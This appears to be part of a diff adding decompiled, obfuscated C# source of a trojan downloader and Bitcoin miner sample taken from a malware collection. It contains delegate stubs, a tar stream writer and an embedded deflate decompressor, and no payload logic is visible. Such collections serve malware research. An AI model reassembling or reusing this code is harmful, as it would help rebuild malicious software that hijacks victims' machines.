+        throw new TarException(\u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(2863), (object) this.\u0001, (object) this.\u0004));
+    }
+
+    public override void WriteByte([In] byte obj0) => \u001F\u0004.\u007E\u0011\u0005((object) this, new byte[1]
+    {
+      obj0
+    }, 0, 1);
+
+    public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(568));
+      if (obj1 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(2972));
+      if (obj0.Length - obj1 < obj2)
+        throw new ArgumentException(\u0008.\u000E\u0003(2997));
+      if (obj2 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(2972));
+      if (this.\u0001 + (long) obj2 > this.\u0004)
+      {
+        string message = \u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(3050), (object) obj2, (object) this.\u0004);
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), message);
+      }
+      if (this.\u0002 > 0)
+      {
+        if (this.\u0002 + obj2 >= this.\u0005.Length)
+        {
+          int num = this.\u0005.Length - this.\u0002;
+          \u008F\u0003.\u0098((Array) this.\u0006, 0, (Array) this.\u0005, 0, this.\u0002);
+          \u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0005, this.\u0002, num);
+          this.\u0007.\u0002\u0004(this.\u0005);
+          this.\u0001 += (long) this.\u0005.Length;
+          obj1 += num;
+          obj2 -= num;
+          this.\u0002 = 0;
+        }
+        else
+        {
+          \u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0006, this.\u0002, obj2);
+          obj1 += obj2;
+          this.\u0002 += obj2;
+          obj2 -= obj2;
+        }
+      }
+      while (obj2 > 0)
+      {
+        if (obj2 < this.\u0005.Length)
+        {
+          \u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0006, this.\u0002, obj2);
+          this.\u0002 += obj2;
+          break;
+        }
+        this.\u0007.\u0002\u0004(obj0, obj1);
+        int length = this.\u0005.Length;
+        this.\u0001 += (long) length;
+        obj2 -= length;
+        obj1 += length;
+      }
+    }
+
+    private void \u0083\u0004()
+    {
+      \u0099\u0004.\u0099((Array) this.\u0005, 0, this.\u0005.Length);
+      this.\u0007.\u0002\u0004(this.\u0005);
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0003.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate bool \u0010\u0003([In] TimeSpan obj0, [In] TimeSpan obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Reflection.Emit;
+using System.Runtime.InteropServices;
+
+internal delegate ILGenerator \u0010\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+internal delegate void \u0010\u0005([In] object obj0, [In] AutoScaleMode obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0011_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate int \u0011\u0003([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0011_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate void \u0011\u0004([In] string obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0011_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+using System.Text;
+
+internal delegate StringBuilder \u0011\u0005([In] object obj0, [In] string obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012_0003.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.Runtime.InteropServices;
+
+internal delegate void \u0012\u0003([In] object obj0, [In] ShutdownEventHandler obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.Runtime.InteropServices;
+
+internal delegate Network \u0012\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+internal delegate void \u0012\u0005([In] object obj0, [In] FormBorderStyle obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0013_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate void \u0013\u0003([In] object obj0, [In] bool obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0013_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using Microsoft.VisualBasic.MyServices;
+using System.Runtime.InteropServices;
+
+internal delegate SpecialDirectoriesProxy \u0013\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0013_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate int \u0013\u0005([In] int obj0, [In] int obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0014_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0014\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0014_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0014\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0014_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+internal delegate FieldInfo[] \u0014\u0005([In] object obj0, [In] BindingFlags obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0015_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Reflection;
+
+internal delegate Assembly \u0015\u0003();

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0015_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.IO;
+using System.Runtime.InteropServices;
+
+internal delegate long \u0015\u0004([In] object obj0, [In] long obj1, [In] SeekOrigin obj2);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0015_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Globalization;
+using System.Runtime.InteropServices;
+
+internal delegate int \u0015\u0005([In] string obj0, [In] string obj1, [In] bool obj2, [In] CultureInfo obj3);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0016_0003.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate void \u0016\u0003([In] object obj0, [In] EventHandler obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0016_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.IO;
+using System.Runtime.InteropServices;
+
+internal delegate FileStream \u0016\u0004([In] string obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0016_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate void \u0016\u0005([In] Array obj0, [In] RuntimeFieldHandle obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0002/_0013.cs

@@ -0,0 +1,464 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u000E\u0002;
+using \u0017\u0002;
+using \u0090;
+using ICSharpCode.SharpZipLib;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0017\u0002
+{
+  internal sealed class \u0013
+  {
+    private static readonly int[] \u0001 = new int[29]
+    {
+      3,
+      4,
+      5,
+      6,
+      7,
+      8,
+      9,
+      10,
+      11,
+      13,
+      15,
+      17,
+      19,
+      23,
+      27,
+      31,
+      35,
+      43,
+      51,
+      59,
+      67,
+      83,
+      99,
+      115,
+      131,
+      163,
+      195,
+      227,
+      258
+    };
+    private static readonly int[] \u0002 = new int[29]
+    {
+      0,
+      0,
+      0,
+      0,
+      0,
+      0,
+      0,
+      0,
+      1,
+      1,
+      1,
+      1,
+      2,
+      2,
+      2,
+      2,
+      3,
+      3,
+      3,
+      3,
+      4,
+      4,
+      4,
+      4,
+      5,
+      5,
+      5,
+      5,
+      0
+    };
+    private static readonly int[] \u0003 = new int[30]
+    {
+      1,
+      2,
+      3,
+      4,
+      5,
+      7,
+      9,
+      13,
+      17,
+      25,
+      33,
+      49,
+      65,
+      97,
+      129,
+      193,
+      257,
+      385,
+      513,
+      769,
+      1025,
+      1537,
+      2049,
+      3073,
+      4097,
+      6145,
+      8193,
+      12289,
+      16385,
+      24577
+    };
+    private static readonly int[] \u0004 = new int[30]
+    {
+      0,
+      0,
+      0,
+      0,
+      1,
+      1,
+      2,
+      2,
+      3,
+      3,
+      4,
+      4,
+      5,
+      5,
+      6,
+      6,
+      7,
+      7,
+      8,
+      8,
+      9,
+      9,
+      10,
+      10,
+      11,
+      11,
+      12,
+      12,
+      13,
+      13
+    };
+    private int \u0005;
+    private int \u0006;
+    private int \u0007;
+    private int \u0008;
+    private int \u000E;
+    private int \u000F;
+    private bool \u0010;
+    private long \u0011;
+    private long \u0012;
+    private bool \u0013;
+    private \u0014 \u0014;
+    private \u0015 \u0015;
+    private \u0017 \u0016;
+    private \u0016 \u0017;
+    private \u0016 \u0018;
+    private \u008F \u0019;
+
+    public \u0013()
+      : this(false)
+    {
+    }
+
+    public \u0013([In] bool obj0)
+    {
+      this.\u0013 = obj0;
+      this.\u0019 = new \u008F();
+      this.\u0014 = new \u0014();
+      this.\u0015 = new \u0015();
+      this.\u0005 = obj0 ? 2 : 0;
+    }
+
+    private bool \u0088\u0004()
+    {
+      int num1 = this.\u0014.\u0013\u0003(16);
+      if (num1 < 0)
+        return false;
+      this.\u0014.\u0014\u0003(16);
+      int num2 = (num1 << 8 | num1 >> 8) & (int) ushort.MaxValue;
+      if (num2 % 31 != 0)
+        throw new SharpZipBaseException(\u0008.\u000E\u0003(3263));
+      if ((num2 & 3840) != 2048)
+        throw new SharpZipBaseException(\u0008.\u000E\u0003(3296));
+      if ((num2 & 32) == 0)
+      {
+        this.\u0005 = 2;
+      }
+      else
+      {
+        this.\u0005 = 1;
+        this.\u0007 = 32;
+      }
+      return true;
+    }
+
+    private bool \u0089\u0004()
+    {
+      for (; this.\u0007 > 0; this.\u0007 -= 8)
+      {
+        int num = this.\u0014.\u0013\u0003(8);
+        if (num < 0)
+          return false;
+        this.\u0014.\u0014\u0003(8);
+        this.\u0006 = this.\u0006 << 8 | num;
+      }
+      return false;
+    }
+
+    private bool \u0010\u0003()
+    {
+      int num1 = this.\u0015.\u001E\u0003();
+      while (num1 >= 258)
+      {
+        switch (this.\u0005)
+        {
+          case 7:
+            int num2;
+            while (((num2 = this.\u0017.\u0081\u0003(this.\u0014)) & -256) == 0)
+            {
+              this.\u0015.Write(num2);
+              if (--num1 < 258)
+                return true;
+            }
+            if (num2 < 257)
+            {
+              if (num2 < 0)
+                return false;
+              this.\u0018 = (\u0016) null;
+              this.\u0017 = (\u0016) null;
+              this.\u0005 = 2;
+              return true;
+            }
+            try
+            {
+              this.\u0008 = \u0013.\u0001[num2 - 257];
+              this.\u0007 = \u0013.\u0002[num2 - 257];
+              goto case 8;
+            }
+            catch (Exception ex)
+            {
+              throw new SharpZipBaseException(\u0008.\u000E\u0003(3333));
+            }
+          case 8:
+            if (this.\u0007 > 0)
+            {
+              this.\u0005 = 8;
+              int num3 = this.\u0014.\u0013\u0003(this.\u0007);
+              if (num3 < 0)
+                return false;
+              this.\u0014.\u0014\u0003(this.\u0007);
+              this.\u0008 += num3;
+            }
+            this.\u0005 = 9;
+            goto case 9;
+          case 9:
+            int index = this.\u0018.\u0081\u0003(this.\u0014);
+            if (index < 0)
+              return false;
+            try
+            {
+              this.\u000E = \u0013.\u0003[index];
+              this.\u0007 = \u0013.\u0004[index];
+              goto case 10;
+            }
+            catch (Exception ex)
+            {
+              throw new SharpZipBaseException(\u0008.\u000E\u0003(3366));
+            }
+          case 10:
+            if (this.\u0007 > 0)
+            {
+              this.\u0005 = 10;
+              int num4 = this.\u0014.\u0013\u0003(this.\u0007);
+              if (num4 < 0)
+                return false;
+              this.\u0014.\u0014\u0003(this.\u0007);
+              this.\u000E += num4;
+            }
+            this.\u0015.\u001C\u0003(this.\u0008, this.\u000E);
+            num1 -= this.\u0008;
+            this.\u0005 = 7;
+            continue;
+          default:
+            throw new SharpZipBaseException(\u0008.\u000E\u0003(3395));
+        }
+      }
+      return true;
+    }
+
+    private bool \u008A\u0004()
+    {
+      for (; this.\u0007 > 0; this.\u0007 -= 8)
+      {
+        int num = this.\u0014.\u0013\u0003(8);
+        if (num < 0)
+          return false;
+        this.\u0014.\u0014\u0003(8);
+        this.\u0006 = this.\u0006 << 8 | num;
+      }
+      if ((int) this.\u0019.\u0088\u0003() != this.\u0006)
+      {
+        object[] objArray = new object[4]
+        {
+          (object) \u0008.\u000E\u0003(3424),
+          (object) (int) this.\u0019.\u0088\u0003(),
+          (object) \u0008.\u000E\u0003(3465),
+          (object) this.\u0006
+        };
+        throw new SharpZipBaseException(\u008B\u0004.\u001E\u0002(objArray));
+      }
+      this.\u0005 = 12;
+      return false;
+    }
+
+    private bool \u0011\u0003()
+    {
+      switch (this.\u0005)
+      {
+        case 0:
+          return this.\u0088\u0004();
+        case 1:
+          return this.\u0089\u0004();
+        case 2:
+          if (this.\u0010)
+          {
+            if (this.\u0013)
+            {
+              this.\u0005 = 12;
+              return false;
+            }
+            this.\u0014.\u0017\u0003();
+            this.\u0007 = 32;
+            this.\u0005 = 11;
+            return true;
+          }
+          int num1 = this.\u0014.\u0013\u0003(3);
+          if (num1 < 0)
+            return false;
+          this.\u0014.\u0014\u0003(3);
+          if ((num1 & 1) != 0)
+            this.\u0010 = true;
+          switch (num1 >> 1)
+          {
+            case 0:
+              this.\u0014.\u0017\u0003();
+              this.\u0005 = 3;
+              break;
+            case 1:
+              this.\u0017 = \u0016.\u0002;
+              this.\u0018 = \u0016.\u0003;
+              this.\u0005 = 7;
+              break;
+            case 2:
+              this.\u0016 = new \u0017();
+              this.\u0005 = 6;
+              break;
+            default:
+              throw new SharpZipBaseException(\u0002\u0005.\u001C\u0002((object) \u0008.\u000E\u0003(3474), (object) num1));
+          }
+          return true;
+        case 3:
+          if ((this.\u000F = this.\u0014.\u0013\u0003(16)) < 0)
+            return false;
+          this.\u0014.\u0014\u0003(16);
+          this.\u0005 = 4;
+          goto case 4;
+        case 4:
+          int num2 = this.\u0014.\u0013\u0003(16);
+          if (num2 < 0)
+            return false;
+          this.\u0014.\u0014\u0003(16);
+          if (num2 != (this.\u000F ^ (int) ushort.MaxValue))
+            throw new SharpZipBaseException(\u0008.\u000E\u0003(3503));
+          this.\u0005 = 5;
+          goto case 5;
+        case 5:
+          this.\u000F -= this.\u0015.\u001D\u0003(this.\u0014, this.\u000F);
+          if (this.\u000F != 0)
+            return !this.\u0014.\u0018\u0003();
+          this.\u0005 = 2;
+          return true;
+        case 6:
+          if (!this.\u0016.\u0011\u0003(this.\u0014))
+            return false;
+          this.\u0017 = this.\u0016.\u0082\u0003();
+          this.\u0018 = this.\u0016.\u0083\u0003();
+          this.\u0005 = 7;
+          goto case 7;
+        case 7:
+        case 8:
+        case 9:
+        case 10:
+          return this.\u0010\u0003();
+        case 11:
+          return this.\u008A\u0004();
+        case 12:
+          return false;
+        default:
+          throw new SharpZipBaseException(\u0008.\u000E\u0003(3540));
+      }
+    }
+
+    public void \u001A\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      this.\u0014.\u001A\u0003(obj0, obj1, obj2);
+      this.\u0012 += (long) obj2;
+    }
+
+    public int \u0012\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(568));
+      if (obj2 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(3581));
+      if (obj1 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(3614));
+      if (obj1 + obj2 > obj0.Length)
+        throw new ArgumentException(\u0008.\u000E\u0003(3651));
+      if (obj2 == 0)
+      {
+        if (!this.\u008C\u0004())
+          this.\u0011\u0003();
+        return 0;
+      }
+      int num1 = 0;
+      do
+      {
+        if (this.\u0005 != 11)
+        {
+          int num2 = this.\u0015.\u007F\u0003(obj0, obj1, obj2);
+          if (num2 > 0)
+          {
+            this.\u0019.\u0089\u0003(obj0, obj1, num2);
+            obj1 += num2;
+            num1 += num2;
+            this.\u0011 += (long) num2;
+            obj2 -= num2;
+            if (obj2 == 0)
+              return num1;
+          }
+        }
+      }
+      while (this.\u0011\u0003() || this.\u0015.\u001F\u0003() > 0 && this.\u0005 != 11);
+      return num1;
+    }
+
+    [SpecialName]
+    public bool \u0018\u0003() => this.\u0014.\u0018\u0003();
+
+    [SpecialName]
